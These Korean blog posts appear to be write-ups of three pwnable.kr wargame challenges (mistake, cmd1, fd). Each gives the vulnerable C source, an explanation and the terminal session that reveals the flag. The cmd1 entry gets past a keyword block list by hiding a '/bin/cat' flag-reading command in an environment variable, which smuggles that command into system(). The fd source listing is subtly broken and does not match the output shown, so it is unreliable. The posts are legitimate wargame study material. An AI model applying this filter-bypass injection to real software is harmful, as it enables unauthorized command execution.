[1pt]mistake

Pwnable.kr 2015. 8. 6. 22:20
#include <stdio.h> 
#include <fcntl.h> 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}


Introduction: 

 본 문제 에서는 프로그램이 password파일을 읽어 pw_buf에 대입하고, 사용자로 부터 pw_buf2의 값을 입력 받아 비밀번호를 검증하는 문제처럼 보인다. 코드를 보면 password의 값과 XORKEY문자가 xor연산된 결과값을 알아내 입력해야 되는 것 처럼 보이나 실제로 프로그램을 실행해 보면 pw_buf에 들어가는 값은 password문서의 내용이 아니라 사용자로 부터 입력된 값이다. 


How to solve: 

 프로그램에서는 사용자로부터 입력받은 10글자를 xor함수로 보내어 XORKEY와 xor연산을 수행한다. 즉, 프로그램을 실행해 첫 번째 표준입력에 XORKEY0000을 입력하면 이 값은 pw_buf에 저장된다. 이 때 두 번째 표준입력에는 YNSJDX1111를 입력하게 되면 xor함수를 통해 XORKEY ^ YNSJDX1111을 수행한 결과값, "XORKEY0000이 pw_buf2에 저장되고, 이 값은 첫 번째 표준입력을 통해 pw_buf에 저장된 값과 일치하므로 프로그램은 flag의 내용을 출력해준다. 


Command line: 

mistake@ubuntu:~$ ./mistake 

do not bruteforce... 

XORKEY0000 

input password : YNSJDX1111 

Password OK 

Mommy, ~!@#$%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+


Appendix:



'Pwnable.kr' 카테고리의 다른 글

[4pt]input  (0) 2015.08.15
[3pt]collision  (0) 2015.08.07
[1pt]cmd1  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]cmd1

Pwnable.kr 2015. 8. 6. 22:18

#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }


Introduction:

본 문제는 환경변수를 이용해 flag를 출력하는 문제


Command line:

cmd1@ubuntu:/tmp/Aitch_cmd1$ export F="/bin/cat /home/cmd1/flag"

cmd1@ubuntu:/tmp/Aitch_cmd1$ /home/cmd1/cmd1 \${F}

mommy ~!@#%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+

cmd1@ubuntu:/tmp/Aitch_cmd1$ 



Reference:

1) 환경변수 - linux: http://kiros33.blog.me/220270849224

'Pwnable.kr' 카테고리의 다른 글

[3pt]collision  (0) 2015.08.07
[1pt]mistake  (0) 2015.08.06
[1pt]fd  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
Posted by Hugh_K
l

[1pt]fd

Pwnable.kr 2015. 8. 6. 22:17
#include <stdio.h>

#include <stdlib.h>

#include <string.h>



char buf[32];

int main(int argc, char ** argv, char ** envp){



	int fd = atoi(argv[1]) - 0x1234;

	int len = 0;

	len = read(fd, buf, 32);



	strcpy("LETMEWIN\n", buf);



	printf("fd: %d\n", fd);

	printf("len: %d\n", len);

	printf("strcmp: %d\n", strcmp("LETMEWIN\n", buf));

}


Introduction:
  본 문제의 요점은 fd의 값을 0(stdin)으로 맞추는 것이다. 


How to solve:
 문제를 해결하기 위해 프로그램의 인자로 4660(0x1234)을 주게 되면 0번 줄의 연산을 통해 fd의 값이 0으로 맞춰지고, 그에 따라 프로그램은 표준 입력을 받게 된다. 이 때 표준 입력에 문자열 "LETMEWIN"을 넣어주면 문제가 해결된다.


Command line:
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! ~!@#$%^&*()_+~!@#$%^&*()_+~!@#$%^&*()_+
fd@ubuntu:~$ 


Future work:

  문제를 풀 때 ./fd 4660이 아닌 ./fd 4661이나 ./fd 4662를 입력해도 동일 한 방법으로 표준 입력이 열리는 것을 확인했다. fd가 0(stdin)이 아닌 1(stdout), 2(stderr)인데도 표준입력이 열리는 이유에 대해 확인 해 볼 필요를 느꼈다.

'Pwnable.kr' 카테고리의 다른 글

[1pt]mistake  (0) 2015.08.06
[1pt]cmd1  (0) 2015.08.06
[5pt]bof  (0) 2015.08.06
[1pt]random  (0) 2015.08.06
[2pt]lotto  (0) 2015.08.06
Posted by Hugh_K
l